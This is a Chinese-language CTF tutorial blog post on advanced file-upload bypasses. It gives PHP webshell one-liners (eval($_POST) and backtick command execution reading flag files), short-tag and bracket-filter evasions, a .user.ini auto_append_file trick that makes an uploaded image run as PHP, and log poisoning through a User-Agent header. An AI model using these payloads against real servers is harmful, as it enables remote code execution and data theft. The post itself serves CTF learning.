CTF中的文件上传进阶思路(1)

682 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

对于文件上传基本题目我们应该都清楚了,今天给大家带来一下扩展知识

文件上传思路

知识点补充

内容绕过:

对文件内容进行了过滤

<?php ?>

短标签

<? echo '123';?>

前提是开启配置参数short_open_tags=on

<?=(表达式)?>  等价于 <?php echo (表达式)?>
shell.png文件内容:<?=(`nl ../f*`)?>
<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用

绕过[]

发现 [ 被过滤了, 而我们传入的图片马中一句话木马接受参数 $_GET[] 需要用到

 

第一种方法就是直接执行命令

 

<?=(`nl ../f*`)?>

 

第二种方法

 

用{}来代替[]

 

图片马内容<?=eval($_POST{1});?>

6

.绕过{}和;

在上题基础上文件内容又添加了过滤了 {} 和 ; 分号

 

直接执行命令

 

<?=(`nl ../f*`)?>

7

.添加文件头

 

user.ini解析

传上去了php后缀文件,但是发现事情并没有想象的那么简单,因为访问shell.pHp却是直接下载了文件,说明文件并没有解析

这时候可以考虑.user.ini

简单来讲

如果你目录下有.user.ini会先去识别里面的配置,但是只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以

找到这两个auto_append_file和auto_prepend_file,作用: 一个相当于在每个php文件尾加上

include(“xxxx”) 一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。

因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。

演示一下include

利用方法

 

先上传一张文件内容是一句话木马的图片

再上传包含设置的 user.ini 文件

auto_append_file="/var/www/html/upload/shell.png"

user.ini包含日志文件

前端限制上传为zip文件,但是zip也传不上去,看了wp。

 

先上传一个zip,然后抓包,改Content-Type为image/png,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以

上传 .user.ini 文件

进行日志文件包含,ua头就是一句话木马

<?php @eval($_POST['shell']);?>
// 注意shell字符串单引号包裹,双引号报错